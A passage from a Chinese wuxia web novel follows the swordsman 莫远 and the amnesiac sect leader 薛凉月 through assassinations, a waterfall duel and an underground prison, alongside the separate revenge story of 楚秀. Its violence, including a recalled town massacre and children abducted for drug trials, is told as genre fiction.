然而阿六却像完全没注意到这一句话,他脸色惨白,嘴里支支吾吾,“师………师父!丐帮帮主……” 沐流熙察觉到了什么不对,下一秒,只听那药童声音颤抖着大声喊了出来:“丐帮帮主钱无死了!被人杀了!!尸体被钉在墙头!” 大雨倾盆,一道闪电忽地划过云层,电光映照之下,场中江湖客们那惊愕的神色,如厉鬼一般。 -- 沐流熙说的客房,是山腰一个别院,听剑阁弟子把他们带到地方便躬身退下,薛凉月淋了几滴雨,心情看上去不是很好,坐在椅子上没说话。 莫远走到他旁边,勾起他的一缕长发,声音里带着笑意,“阿月,这下事情彻底解决了,你可以安心做我娘子了,我们明天就回南山城。” 薛凉月托着下巴,懒洋洋道:“好啊,但我不做家务。” 莫远挑了挑眉,低声笑道:“怎么舍得让你动手啊。” 他倾身,给自己和薛凉月各倒了一杯茶,然后敛衣坐到薛凉月对面,薛凉月伸手摸了摸后脑勺,发现这手欠的玩意儿居然给他编了几条细麻花。 薛凉月叹了口气:“莫远,你很闲吗?” 莫远拿起茶杯抿了一口,闻言又笑了起来:“不好看啊?” “对。”薛凉月伸手把那几条麻花给扯开,“很丑。” “胡说。”莫远看着他,“我弟弟小时候就喜欢我给他扎辫子。” 薛凉月深切怀疑这个“喜欢”究竟是自愿的还是被迫的,他道:“那你弟弟可真可怜。” 莫远还要反驳什么,这时,屋外忽然传来脚步声。 莫远动作一顿,抬眼,看向门口。 脚步声直接进了院子,在屋门口停了一下,抬手有规律的扣了三下门。 莫远:“进。” 来人推门而入,是个脸色苍白的年轻男子,薛凉月看见来人的服饰,顿时很不开心。 黑色宽袖长袍,袖口绣着白色的满月花纹,然而这月亮上却画了一个大大的红叉,这个人是屠月宗的。 诚然,屠月宗屠的这个“月”并非他薛凉月,但假如有个大门派顶着“杀尔”的名字天天在你面前晃,无论是谁都会感觉不舒服。 男子抱拳向莫远行了一礼,道:“主上有话要属下转告莫六侠。” 说着看了一眼坐在床上的薛凉月,略有迟疑。 “无妨。我媳妇不是外人。”莫远道。 男子又迟疑了一会儿,终于点了点头,“主上说:多年未见,今晚请您到洗剑亭一叙。” “我知道了。”莫远点点头,“回去告诉你主子,我会去的。” 男子低头敛目,退出了屋子。 待人走远,薛凉月才悠悠开口道:“莫大侠朋友还挺多,不仅与松风下大弟子和小弟子相识多年,还与屠月宗宗主有交情——莫大侠,你这交际圈,也算是跨越正魔两道了。” 莫远放下茶杯,扭过头来,用一种非常奇怪眼神盯着他,看得薛凉月莫名其妙。 半晌,莫远才幽幽开口道:“阿月,你是吃醋了吗?” 薛凉月:“……” -- 当晚,大雨如注,听剑阁人来送晚膳的时候带了把伞,莫远晚上出门的时候顺走了,这就意味着薛凉月不得不窝在屋子里,不过这也正合他意。 薛凉月坐在窗前,阖眸凝神,体内小天圆术运转,带着寒气的内力一丝一缕地积攒起来,流向四肢百骸。 莫远走了后,他耳边才终于获得了片刻的宁静。 只是不知这样忙里偷闲,内力几时才能恢复到之前的水准。 这时候,身后主屋屋顶上忽然传来几声极其细微的瓦片挪动声。 有人! 薛凉月睁眼,想都没想,一偏头,正好一把短剑擦着他的脸颊飞了过去,锵一声钉在他面前的石桌上! 不是,那姓沐的不是说,“在龙首山,没有人敢动手”吗? 敢情跟这儿吹牛呢! 他前脚进门,后脚刺客就跟上来了! 薛凉月登的站起身,扭过头,借着微弱的烛光,果然看见几个黑衣人站在窗外。 隔着雨帘,他冷冷与这几个人对视。 为首黑衣人缓缓抬起一只手,做了一个“进攻”的手势。 -- 与此同时,洗剑亭,瀑布。 飞流直下三千尺,砯崖转石万壑雷。 洗剑亭,就坐落在这九天玄瀑的中间,曲折回廊蜿蜒插入瀑布之后的岩壁内,而亭身,自远处看,就像悬浮于深潭之上,几乎是不可能建造出的奇迹。 仲夏之时,瀑布水流会变大,直至淹没整个亭子,而此时,或许是因为下雨,瀑流也几乎触碰到了亭顶的边缘了。 此地非武功高强者不可抵达。 很适合密谈。 亭中有一石桌,石桌边,两人正面对面坐着。 “哗啦哗啦……” 齐衡轩托起茶杯,轻轻吹了吹,“看来,你是准备好了?” 莫远懒懒道:“自然。” 齐衡轩轻抿了一口茶水,慢慢道:“十五年前,你借我之手假死脱身……如今,趁着大部分人忘了你时,又借着那个颜公子再次踏入江湖——不过说起来,你要救他,也用不着找这么个……这么个奇怪的理由吧。” 莫远咧开嘴,露出 18. 药兵 《被全江湖追杀之后》全本免费阅读 “嗤啦——” 匕首白进红出,鲜血随之喷涌而出! 背后利剑破风而至,薛凉月微微一晃,瞬间消失,下一秒,出现在那人身侧,匕首划过优美的弧线,擦过这个人的颈部,留下一道血线。 这个人双眼睁大,手中的剑垂落在地上,双手捂住自己的脖子。 然而无济于事,一阵徒劳的挣扎后,他颓然倒在了地上。 “啊啊啊——” 幽深的树林中,七八具尸体杂乱无章地倒卧,所有前来的黑衣刺客中,只有一个人还活着,站在十步远的地方,瞪大双眼看着这一切。 他浑身颤抖着,忽然惊恐地尖叫一声,随后慌忙转身,想要逃走。 然而,一转身,就看见那个白衣服的恶鬼站在他面前,面无表情地看着他。 黑衣人腿一软,跪了下来。 “啊——” 最后一声惨叫戛然而止,一群飞鸟惊飞,而后密林中恢复寂静。 薛凉月缓缓垂下手臂,长袖遮住带血的匕首。 “血衣门门主,名不虚传。” 身后,黑暗中忽然传来一个低沉的声音。 薛凉月瞳孔微缩,再次握紧匕首,瞬间转身,“谁?!!” 只见一个人浑身裹在斗篷中,静静站在不远处的一棵树下,不知道已经看了多久。 薛凉月想也没想,身影一闪,瞬间出现在那个人侧面,手中匕首直指那个人的眉心! 千钧一发之际,那人斗篷中翻出一把弯刀,架住了薛凉月的匕首。 薛凉月目光微动,瞬间变招,另一只手五指如爪,探向此人颈部。 这一下如果抓实了,这个人的颈骨一定会瞬间粉碎,刚刚有个人就是这么死的。 然而斗篷人身影一动,突然后退数步,鬼魅一般,躲过了这一招。 “真厉害……” 斗篷人低低笑着,手中弯刀映着冷冷月光,在黑暗中格外显眼。 薛凉月目光极冷,秀美的脸庞沾着猩红的血迹,红白分明,月光下有种惊心动魄的美感。 “你果然很强……要是内力还在的话,刚才那一下交锋,我恐怕就要受点小伤了吧。” 斗篷人手中弯刀转了一圈,光影也随之律动,他声音里带着笑意。 “但是美人,还是不要太强的好,否则,会薄命的啊……” 薛凉月没有理会这个疯子在喃喃自语什么,他现在脑子中只有一个念头—— 他不能让这个人活着离开这个树林。 -- “敢问何方前辈在此,为何不直接下来聊聊?”莫远缓缓站起身,手按剑柄,面沉似水,冷冷开口道。 齐衡轩知道他动了杀心。 檐上那片衣角又晃了晃,片刻后,一个背着两把剑的清秀少年轻巧地从亭上翻了下来,赫然正是……陈竹暗! 莫远一愣,脸上霎时闪过一阵错愕。谁能告诉他,为什么一个不食人间烟火的武林泰斗能干出听墙角的事儿? 齐衡轩也是一副被雷劈了的样子,“陈……阁主?” 陈竹暗看了看两人,最后目光落在莫远身上,坦言:“我是来找你的。” 莫远:“敢问……前辈有何贵干?” 陈竹暗面无表情:“打架。” 莫远:“啥?” 陈竹暗语调还是那副淡淡的样子,“你的剑心有问题,三招之内看不出来,还有——” 他从背后抽出一把剑扔在桌子上,“这把剑送你。” 莫远微微蹙眉:“为何?” 陈竹暗瞥了一眼他背后的梅影,“梅花剑不适合你,太细了,适合灵巧的打法,你的剑太凌厉,我担心它断。” 莫远沉默了,上前,从桌子上拿起那把剑,仔细端详一阵,抬眼望向陈竹暗,“是把好剑,可惜没什么剑意,谁都能使。” 陈竹暗淡淡道:“我就是看上它这一点才偷过来给你的。” “偷……偷?!”莫远又是一愣,此刻已经略微有些风中凌乱,下意识问道:“偷……偷谁的?” 陈竹暗坦言:“季无松的。” 此话一出,除了莫远,一旁的齐衡轩也呆滞了,他脱口而出:“季无松,那不是……盗圣吗?” 偷盗圣的东西,你是怎么做到的啊前辈? 不是,最关键的是,你们五义堂堂主的剑真的是可以随便送人的吗? 陈竹暗淡淡道:“反正他又不用剑,这把剑放在他那里只能落灰,你就先将就着使吧,它虽然排名不比梅花剑,但更适合你,建议你以后重新铸一把。” 莫远汗颜:“多谢……” 陈竹暗看了看齐衡轩,“所以你们现在谈完了吗?” 齐衡轩干笑几声,坐回原位,“谈完了,谈完了,您请便。” 陈竹暗看了莫远一眼,头歪了歪,示意亭外,淡淡道,“那下去打吧。” 说着,就翻过栏杆,跳了下去。 其下是深潭,暴雨击打水面,发出震耳欲聋的回响,如龙吟虎啸。 “你要怎么办?”齐衡轩看着莫远。 “还能怎么办?”莫远叹了口气,从怀里摸出黑布条戴好,然后拿起桌上的长剑,“舍命陪君子呗……” 一个时辰后。 莫远浑身湿透落汤鸡一般从栏杆上翻了回来。 齐衡轩见状挑了挑眉,“你输了?” 莫远喘了口气,坐在栏杆上,单手解开蒙眼的布条,长剑往地上重重一顿,“废话。” 齐衡轩有些幸灾乐祸地笑了起来,“哈哈,没事,你还撑了一个时辰呢!哈哈……” 莫远冷冷瞪了他一眼,“没撑到一个时辰。” 齐衡轩:“嗯?” “跟他聊了聊。”莫远脸色凝重下来,道,“他说了一件事。” 齐衡轩眯了眯眼,察觉到了什么,“何事?” “刚才,不只是他在偷听。”莫远道,“一开始还有一个人,藏在瀑布上面,陈阁主看了他一眼,然后他就跑了。” 齐衡轩:“那么远,还有瀑布的声音……也听不见什么吧?” 莫远沉声道:“问题的关键不在于此,而在于,他是怎么知道今天晚上我们会在这里碰面的?以及……谁会对这件事感兴趣?” 齐衡轩陷入了沉默,半晌后道:“我会好好查查我们屠月宗内部的。” “行,齐宗主,我先告辞了。”莫远点点头,“山高水长,有缘再会。” “哎,等等。” 齐衡轩叫住了他,“我还有一件……不怎么重要的事想问问你。” 莫远回 19. 失忆 《被全江湖追杀之后》全本免费阅读 薛凉月终于放开了莫远的手,转而按住他的肩膀,略一用力,莫远后背被推到树上,发出一声沉闷的“砰”,手臂垂在身侧,五指被一根根掰开,被人十指相扣地握住。 莫远瞳孔微微放大了,下一秒,冰凉的唇再次贴了上来。 薛凉月一手扣着莫远的右手,不让他去够身后的剑,一只手掐住他的下颚,迫使他牙关张开,舌尖灵巧地探入莫远口腔,像是饥饿的流民,一点点索取着来之不易的热量。 “唔……” 莫远忍不住痛苦地低吟了一声,手指蜷曲起来,浑身如坠冰窟,血液如同凝固了一般,思绪也因此愈发迟钝。 不对劲不对劲…… 该死,薛凉月身上到底发生了什么? 莫远胸中涌起冰冷的愤怒,从踏入龙首山开始,所有事就开始朝着失控的方向狂奔……他努力仰起头,想要挣开薛凉月的控制,却无济于事。 这时,那双漆黑的瞳孔开始变色,白色从最深处浮出来,像夜空中横贯的银河。 莫远觉得自己如果再不采取什么行动,或许会死在这里,他咬牙顶着那股寒气,调度起了自身的内力,护住心脉处那微弱的热意,同时狠狠咬了薛凉月的舌头一口! 带着诡异腥甜的味道在口腔中弥漫开。 薛凉月浑身一颤,瞳孔中央原本正在逐渐扩散的白色顷刻间停止了扩张,并剧烈抖动起来,一点点……一点点缩了回去。 薛凉月整个人瞬间脱力,扣住莫远下颚的手颓然垂了下去,下巴也无力地滑到了他的颈窝。 莫远剧烈喘息片刻,平复了心率,而后一把将晕倒的薛凉月推开,旋即伸手探到背后,拔剑便向地上那人刺去! 千钧一发之际,薛凉月霍然睁开双眼,眼中先是一片茫然,看到剑尖下意识偏头让过,莫远眸光一动,剑尖一抖,一招“梅花七弄”快如闪电,每一虚剑都指向薛凉月的要害。 薛凉月仰面躺在地上,翻身躲过两剑,一伸腿把莫远绊倒。 莫远身上寒气未散,动作迟缓,一时没能躲开这一扫堂腿,顿时仆倒在薛凉月身上,下一秒薛凉月翻身压上,扣住他一只手腕,月光下匕首寒芒一闪,莫远举剑相抗,屈膝重击他小腹。 两人滚倒在枯枝败叶间,瞬息之间过了数十招,难分伯仲。 随着时间的流逝,莫远僵硬的身体终于逐渐回温,身手敏捷了不少。 同时,在黑暗的环境中莫远显然比薛凉月有优势,再加上他内力目前比较高,渐渐占据了上风。 莫远一把掐住薛凉月的脖子,长剑架住匕首,眯眼恶狠狠道:“薛凉月,你想弑夫吗?” 薛凉月闻言,动作却是一顿,他疑惑地眨了眨眼,微微蹙起眉头,缓缓吐出三个字:“你是……谁?” “……我是谁?!” 我去有没有搞错?! 莫远睁大了双眼,盯着薛凉月的脸看了好半天,愣是没看出一点破绽,那脸上只有真心实意的困惑,带着梦游一般的茫然。 他又凑近了一点,鼻尖几乎抵到了薛凉月脸上,“你不认识我?” 薛凉月不舒服地偏了偏头,面无表情,轻声反问道:“我该认识你吗?” 莫远正要说什么,忽然,薛凉月神色一变,低喝一声:“让开!” 然而来不及了,远方地下传来“咔咔”两声细微的机关响动,紧接着,薛凉月脚下的石板骤然翻转,两人双双坠入深不见底的黑暗深渊之中。 “轰——” 一声巨响回荡在密林中。 “操!” -- “操!小兔崽子们,走快点!” 黑暗中,一群不到十岁的小孩被绑着双手,互相推搡着前行。 两边站着的汉子手上拿着马鞭,不时狠狠甩下两鞭子,逼迫着那些步子缓慢的幼童加快脚步。惨叫声,抽噎声与鞭子抽打在□□上噼里啪啦的声音此起彼伏,在洞穴中回荡。 慕崆站在人群边缘,因为脚崴了,一瘸一拐走的很慢,自然少不了挨上几鞭子,血立刻涌了出来,他拿袖子擦了擦,在心底告诉自己不要害怕。 哥哥会来救他的,哥哥很厉害,一定找得到他。 慕崆这么想着。 忽然,一只手从黑暗中伸了出来,拎着他的胳膊把他从队伍里拽了出来,慕崆惊叫了一声,下意识捂住脸,等了一会儿,却没有鞭子袭来,只听见一个诚惶诚恐的声音从一旁响起。 “护法大人,您怎么来了?” 一只手拨开慕崆的胳膊,昏暗烛光下,慕崆看见一个穿着黑色长袍的年轻人站在俯身他面前。 年轻人肤色苍白,脸部线条柔和,眼角微微下垂,宛如带着未干的泪痕,看起来稚气未脱,透露着一种与这里格格不入的天真与无辜。 他的嗓音也没有丝毫攻击性:“下来随便逛逛,你去干你的事吧。” 说罢,年轻人半蹲下来,单膝着地,摸了摸小孩脸上的伤疤,盯着他看了一会儿,轻声问:“你叫什么名字?” 慕崆没有回答,眼神幼狼一般警惕。 年轻人道:“我叫师无夜,不要害怕,你吃糖吗?” 他从怀里掏出一个纸包,抿着唇微微一笑,“我有糖哦。” 慕崆摇了摇头,犹豫了一会儿,低声回答道:“我叫贺悦。” “……姓贺?” 这句话却不是那个叫师无夜的年轻人说的,他身后传出了一个更为低沉的声音,年轻人微微睁大眼睛,回过头去,叫了一声,“门主?” 一个戴着鬼面的高大男人从黑暗中走出,负手站在慕崆面前,沉声问道:“你娘叫贺湫湫?” 慕崆吓了一跳,下意识朝后退了一步,却被师无夜按住了肩膀,那双孩子般的无辜眸子微微一弯,他柔声道:“门主,这一只可以给我亲自炼吗?属下最近找到了些新的药方,正缺人来试。” “呵。”鬼面男人鼻翼间发出一声嗤笑,自上而下审视着慕崆,“你要试药随便挑个身强体壮的都行,这小孩不如卖给机关城那个老登,冲这张脸,他会出高价的。” “门主。”师无夜笑了起来,声音慢条斯理,“你相信我,他以后,会比一个玩物更有价值的。” < 20. 玉骨 《被全江湖追杀之后》全本免费阅读 薛阆是谁? 薛凉月瞳孔微微一缩,“你刚刚不是在叫薛门主吗?血衣门门主叫薛阆,你不知道?!” 那人淡淡道:“上一任血衣门门主是你,上上一任叫师无夜,至于薛阆是哪一任的门主,我就不清楚了,毕竟你们这个门派门主是消耗品,换得比袜子还勤——话说你记忆中今年几岁?” 薛凉月抿了抿唇,答:“不知道。” “那你还记得最近发生了什么大事吗?”那人追问。 薛凉月皱起眉头,不答反问:“我为什么要告诉你?你先说你是谁。” 那人笑了一声,“我叫莫远。” 一边说着,那人一边拐了个弯,周遭一片黑暗,伸手不见五指,也不知道他是怎么看见前面有转角的。 转过了弯,前方很远处突兀地出现了一豆亮光,薛凉月眸光一动,却听见那个叫莫远的剑客悠悠补充了一句,“是你现在的丈夫。” 薛凉月一愣,不解:“我身为男子,何来丈夫一说?” 莫远语重心长:“你年纪小,不懂。只要两情相悦,性别又算得了什么?” 薛凉月沉默了,半晌他冷笑一声,“我凭什么信你?你在上面的时候还拿剑刺我呢。” 莫远:“你不也还手了?床头吵架床尾和,我都不计前嫌了,你还要怎样?” 薛凉月气极:“什么叫‘我不也还手了’?不然呢?任你宰割吗?” 莫远并不跟他讲道理:“等你恢复了记忆再跟我掰扯掰扯吧。” 这时候,两人也靠近了那光源附近,那是一根烧到一半的蜡烛,火光跳动,晦明不定,只能照得到三尺之内,依稀可见一个黑色的铁牢。 薛凉月道:“放我下来。” 莫远脚步一顿,“你身上伤好了?” 薛凉月推开他,冷冷道:“不劳你关心。” 他落到地上,绕过莫远,走到前头,显然行动已经恢复自如,莫远蓦地想起那消失的齿痕,他眯了眯眼,并没有问什么,抬步跟了上去。 两人走到铁牢边,透过缝隙朝里看,微弱的烛光下,只见角落里有一个人形的阴影,头低垂着。 莫远挑了挑眉,凑近薛凉月耳畔,低声问:“欸,你说他是活的还是死的?” 话音刚落,薛凉月还没来得及说什么,却见那个人蓦然抬起了头,白多黑少的眼睛中布满血丝。 他先是愣了一下,随后脸上浮现出狂喜之色,猛地从地上跳了起来,扑到牢门边,抓着铁格栅,急切地大叫起来:“救我出去!两位大侠,求求你们了!” 这人颧骨突出,鼻梁高挺,但鼻翼宽大,眼型长而不弯,长相并不讨喜,加之表情过于狰狞,薛凉月忍不住朝后退了一步,微微蹙起了眉,表情有点嫌弃。 莫远沉声问:“你是何人?为什么被关在此地?” 那人粗喘了两口气,大声道:“我叫林卷海,是武林盟盟主!!” --- 由于丐帮帮主突然死亡,整个武林大会乱成一团,前辈高人虽多,但并没有一个能站出来掌控全局的,沐医仙再怎么仙,毕竟还是个文弱的医师,再加上雨越来越大,今日的比武只好这样草草结束,众人纷纷下山,湿漉漉地回了客栈。 当晚,亥时三刻。 夜幕低垂,一个人撑着伞,于瓢泼大雨中踽踽独行,从上望去如雨中白荷,微微摇曳着缓缓朝前移动。 路过一个小巷的时候,一个低低的声音从黑暗里传来,“奉哥。” 林奉雪脚步微微一顿,慢慢偏过头去,伞沿抬起,他看见一身黑衣的楚秀孤身站在雨里,手里握着剑,神色看不出来什么情绪,他背后的地上,一具尸体躺在雨水里。 林奉雪微微一叹:“果然是你。” “这句话应该我来说。”楚秀自嘲地笑了笑,缓缓道:“我一直以为松风下林奉雪,和你只是重名罢了。” 楚秀把剑收回鞘中,慢慢靠近,声音还是很低,神色中终于流露出那以掩盖的悲伤,“奉哥,我一直以为你死了。你还活着,为什么不告诉我?” 林奉雪嘴角勾起一抹清冷的笑意,然而握住伞柄的手指却在不经意间轻轻颤栗。 他轻声道:“你可以就当我已经死了。” 楚秀声音紧绷:“为什么?” 林奉雪没有回答这个问题,他微微摇了摇头,轻声道:“收手吧。” 楚秀脚步霍然顿住,他在距离林奉雪大约五步的地方停下,声音极轻,“收手?收什么手?” 林奉雪瞥一眼他身后的尸体,道:“名剑山庄那两个人是你杀的吧,钱无也是你杀的,这个是焦泥还是厉元?总之,到此为止我都能保下你,再多的不行了。” 楚秀脸色变了,他右手攥紧成拳,声音轻轻战栗,他高声吼道:“你知不知道,就是他们杀了叶哥!你叫我收手?!” 林奉雪一字一句道:“我知道。我比你更清楚当年在场的都有谁。” 楚秀听着他毫无情绪起伏的声音,倒吸了一口凉气,难以置信地问道:“林奉雪,你没有心的吗?” “阿秀,当年很多事情你不清楚。”林奉雪轻声道,“叶晓归是该死的。收手吧,你的人生还很长。” 楚秀没有说话,他盯着林奉雪,秀丽精致的脸庞神色五味杂陈,迷惑有之,愤怒有之,悲哀有之,他嘴唇颤抖着,似乎想要说什么,最后只吐出来一句话,“若我不收手呢?” 他的手缓缓按到了剑柄上,“你要亲自捉拿我归案吗,林道长?” 林奉雪眉头轻轻皱起,“阿秀,你莫逼我。” 闻言,楚秀哈哈大笑,“林奉雪,你不会觉得自己可以轻易杀了我吧?!” 他眯眼看着林奉雪:“虽然我一直不相信你就是林过,但是奉雪道长的消息还是难免会留心,譬如——我不久前得知,十年前,林奉雪出关,然而却莫名剑心蒙尘,从此不再在江湖中露面,转而收了几个徒弟,专心于教授剑法。” 林奉雪抿了抿唇,握着伞柄的手紧了紧。< 21. 萍水 《被全江湖追杀之后》全本免费阅读 “天下第一大恶人”这个名头一开始并不是江湖中人给叶阎三取的,而是他引以为傲的自称,按他的话来说,“人生在世,总要有个第一,当不了武功第一,人品第一也可以;当不了正数的,倒数第一也未尝不可。” 这人从七八岁开始就在西北的一个小镇上偷鸡摸狗,某天无意间被卷入一场江湖纠纷中,侥幸从佛像下摸出了半本武林秘籍,上面记载着一个已经失传的招式,名叫“通骨神爪”。 叶阎三多少是有点武学天分在身上的,居然就这样无师自通了。 自此,小恶人变成了大恶人,小鬼变成了大阎王。 其实论武功来说,十来岁的叶阎三充其量只能说是个江湖二流,然而西北那一带根本没什么正经门派,全是一些旁门左道之徒,居然让这厮做了西北一霸,为非作歹数十年。 这十年中,叶阎三干得最出名的,也是他本人最为得意的,有三件事: 第一件,抢了云煌县县令嫁女儿的车队,第二件,以弱胜强,设计将中州一带收了悬赏赶过来的名门子弟们杀了个干净,第三件,屠城。 没错,屠城。 屠的是一个叫宁西的西北小城,约莫九千人。 那时候大约在二十年前,叶阎三带着他的三个徒弟,焦泥,花无乐,叶晓归来到宁西附近,忽然决定要干一件大事。 于是四个人在一个夜深人静的半夜,杀了看门的守卫,一人守着城门,其余三人冲进去,一家一家地烧杀抢掠,整整七天七夜,城内火光冲天。 第八天的清晨,一个驿差打马经过宁西,直接被城内的人间炼狱景象吓得直接从马上跌了下去。 自此,叶阎三这个名字在江湖中逐渐成为了一个疯子禽兽的符号,但凡有点良知的人,都想将这个活畜生千刀万剐,当年有亲人好友死于其手的,更是恨不能食其肉,寝其皮。 当然,他也没有得意太久,叶阎三在屠城之后,惹了众怒,一时间全江湖追杀,出手的并不只是一些江湖二流门派帮会,还有成名的高手,打得叶阎三那是抱头鼠窜。 在逃亡中,叶阎三跟他那三个恶人徒弟起了内讧,争吵中他自食恶果,跟其中一个徒弟一起掉下了悬崖,此后,就再也没有听过这个人了。 “你说顶替你的人是叶阎三?他图什么呢?”莫远眉头紧锁,十分不解,“你现在还是‘死’的,悬赏刚刚撤下来。” 林卷海道:“这位兄弟,你有所不知,在武林盟内部,都知道我并未身死,我当初与他们拟定的计划就是用我身上的悬赏来试探出‘花无乐’的身份。” 花无乐,就是叶阎三的二徒弟,有名的采花大盗,以奸/淫/妇女为乐,同样是臭名昭著。 莫远瞥了一眼薛凉月,“你们觉得花无乐是谁?” “据线人所报,要么在合欢宗,要么在归雪楼。” 林卷海的语气斩钉截铁,“狗改不了吃屎,这厮铁定待在女人多的地方,合欢宗自不必提,归雪楼女人虽然不多,但美人却不少,最重要的是,这两个门派都不在四大宗之内,底蕴有限,不容易穿帮。” 说着,他瞥了一眼薛凉月,歉意地笑了笑,“实不相瞒,在下此前的确怀疑过颜公子,毕竟那花无乐曾以俊美无俦的相貌闻名遐迩,很难不让人联想到。” 薛凉月必然是听不懂的,他只是微微点了点头,表情冷漠地站在一边。 林卷海眉宇紧锁,手指紧紧抓着牢门,面色沉郁如同积云密布的天际。 他沉声道:“若我没有记错,此刻当是武林盛会之时。叶阎三此人性情阴鸷,嗜血如命,必欲借此机掀起腥风血雨。事不宜迟,需速往制止,以免祸及江湖。侠士,你能不能帮我打开牢门?” 莫远伸手敲了敲牢门的铁栅栏,“精铁打制,不好打开啊。” 他从背后抽出那把无名剑,眼神示意薛凉月站远点,深吸一口气,“哐啷”一声巨响,剑锋与铁锁相撞,却只在铁锁上留下一道浅浅的白印。 莫远无奈摇摇头,没有再尝试,收剑回鞘,林卷海沉吟片刻,问:“两位有没有什么可以捅得进锁眼的东西?” “嗯?” 莫远眸光一动,他上下打量了一下林卷海,语带惊奇:“林盟主还会溜门撬锁?提醒一下,这可是天机锁。” 林卷海苦笑一声:“在下略通机关之术,困在此地苦于没有工具。” 莫远从袖里摸出一根暗器铜针,伸手递到林卷海手中,林卷海把胳膊伸出牢门,将铜针插进锁眼,拨动两下,“咔哒”一声后,铁锁无声脱落。 林卷海呼出一口气,又把自己脚镣也打开了,从里面推门而出,朝莫远躬身抱拳,沉声道:“大恩不言谢,敢问侠士姓名?” 莫远:“莫远。” 林卷海道:“莫侠士,以后你有何困难,武林盟定会第一个出手相助。” 莫远拍了拍他的肩膀,真诚道:“还是算了吧,我觉得武林盟比较需要别人出手相助。” 林卷海尴尬地轻咳一声,走到通道内:“我来带路。” -- 楚秀粗喘两口气,飞身后退。 雨帘中,玉骨越战越勇,剑法灵动,招式变化莫测,楚秀渐渐落了下风,手中藏锈剑开始左支右绌。 林奉雪出身松风下,剑法是清玄老祖一招一式喂出来的,加之他本身天赋卓越,对剑道的理解自然远超楚秀这种半路出家的野路子,哪怕剑心蒙尘,也是当之无愧的一代宗师。 锵! 两剑再次相撞,楚秀手腕一抖,藏锈剑剑身蓦然折断,锋利的剑尖划过他的侧颊,留下一道鲜红的血痕。 楚秀握着断剑,在雨中呆立片刻,终于支撑不住,颓然跪了下来,捂着胸口,咳出一大口鲜血。 “嗒嗒。” 脚步声传来。 他慢慢仰起头,只见林奉雪提剑走到了他面前,一声不吭站住,黑暗中只看得见轮廓,楚秀嘴唇嗫嚅着,雨水从脸上滑过,仿若泪流。
“白衣鬼”慢慢走到账台前,视线落在台上摆着的盆栽上。 李棹吞了吞口水,“这位公子,您好,药房关门了,你明日再来吧。” “白衣鬼”伸手摸了摸盆栽里的发财树,声音轻飘飘的,“我不是来买药的,我要请你去救一个人,他在两条街之外的来福客栈二楼。” 李棹张口正要拒绝,“白衣鬼”细白的手指轻轻碰了碰花盆,下一秒,“砰”的一声巨响,花盆整个炸开,碎片差点炸到李棹身上。 他目瞪口呆地看着这一幕,冷汗从额头上滑落,“你你——” “白衣鬼”唇角微微勾起,他放下手,仿佛什么都没有发生过似的,拢了拢衣袖,将一串铜钥匙扔在账台上,转过身,留下一句,“无论救没救活,三天后会有人给你送一笔钱。” 旋即,飘身离去。 等到鬼影消失在转角,李棹才如梦初醒,他看着那盆横死的发财树,吞了吞口水,咬牙收拾了一点药材,转身出了门,朝来福客栈的方向行去。 -- 与此同时,千里之外的南阂山下,一张小小的茶摊子边坐着两人。 林况眼眶红通通的,这些天显然日日以泪洗面,楚秀坐在一边,盯着木桌上经年累月的年轮纹理,一言不发,表情看不出悲喜。 林况瞅了楚秀一样,吸了吸鼻子,问:“秀……楚兄弟,你今后打算去哪?” 楚秀眼珠子转了转,看了他一眼,没回答,而是反问道:“你觉得呢?” “继续留在归雪楼吗?” 楚秀摇了摇头。 “或者一个人走天涯?” 楚秀仍是摇头。 “要不……”林况终于下定了决心,“你来我们松风下吧!” “你看,我们松风下怎么说也是江湖六大宗之一,名头不比归雪楼小。而且是名门正派,名声好,门内师兄弟姐妹也都很和善,而且以剑为主,挺适合你的。” 林况想了想,又补充道,“伙食也很好,每顿都有肉。” 楚秀笑了一声,“算了。” 他将手伸到腰间,慢慢解开剑鞘,把“藏锈”轻轻放到桌上,“帮个忙,帮我把这把剑埋到奉哥旁边。” 林况睁大了双眼,“你不使剑了?” “不使剑了。”楚秀偏过头,眺望向天边的云霞,他轻声道,“我打算回萍水村,种地,开个小酒馆。” 他举起茶碗,朝着远山之巅那抹红,一点点将茶水洒在地上。 以茶代酒,祭奠故人。 随后,他站起身,牵着马朝官道的方向踱去。 林况跟着起身,“我送送你。” 路很快就到了尽头。 两人正要分道扬镳,楚秀头也不回的向前走,却听林况在后面叫住了他。 “人生还很长,你还会有很多个十年,二十年,三十年,你今年二十二,还会有三十二,四十二,五十二。” 林况认真道,“你还会遇见很多很好的人,很多很好的风景。人除了过去,还有将来,将来比过去长的多了。” 楚秀回过头,“你这话跟谁学的?你师父?师叔?” 林况脸红,低下头,小声道:“我自己说的。” 楚秀冷笑一声,“站着说话不腰疼。” 说完他继续往前走,林况站在原地,有些不知所措。 没走几步,楚秀忽然又停下了,转过身,“喂,你那话是挺蠢的。” “不过……”楚秀笑了,“承你吉言,我一定努力活到五十二。” “到时候,请你喝酒!” 楚秀翻身上马,背对着林况挥了挥手,一声“吁”,扬鞭向远方驰去。 …… 行人零星,大风街头,夕阳里,有人低吟浅唱。 “……悲歌可以当泣,远望可以当归……欲归家无人,欲渡河无船……心思不能言,肠中……车轮转……劳歌一曲解行舟,红叶青山水急流……日暮酒醒人已远,满天风雨下西楼!” ——第二卷·完—— 30. 大雪 洪城位于大燕版图靠北的地方,这里一年到头,都是寒风呼啸,鲜少天晴,经常刚见到点日头,一个不经意,倏忽之间,便又飘起了大雪。 大雪夜,狂风吼棱棱,街上门户紧闭,有扇门不小心被风吹开,这户人家去关门时,却见一个披着蓑衣的人影从门前飘过,定睛一看,地上却没有半点脚印,立时心下悚然,把门砰的地一关。 “……” 蓑衣人从街道里穿过去,径直走到洪城最东边的八角高塔前,伸手推开厚重的铁门。 “什么人?!” 刚走进去,门内黑暗处抢出两名黑衣少年,举刀戒备,蓑衣人缓缓抬起头,斗笠下是一张青面獠牙的面具,他伸出手,晃了晃手上的二十四瓣铁莲花,两个少年瞳孔一缩,恭敬低头,“拜见护法大人!” 旋即,再次退到阴影中。 蓑衣人——血衣门现任左护法席裘收回手,将铁莲花挂回腰间,冷着脸,一言不发朝甬道深处走去。 高塔连通着地宫。 席裘走到地宫主殿内,瞥了一眼坐在高位上的赵汩,只见他穿着一袭大红袍子,戴着半悲半喜鬼面,姿态高深莫测。 看着赵汩这一身穿着,席裘不禁在心底腹诽,赵汩这五年真是被那些“买家”捧坏了,自己是什么货色不清楚吗?还学薛凉月,有些人穿上龙袍也不像太子,穿了红衣也不像恶鬼! 倒是有些做作可笑。 他不禁露出鄙夷神色,好在同样戴着面具,赵汩也看不出来。 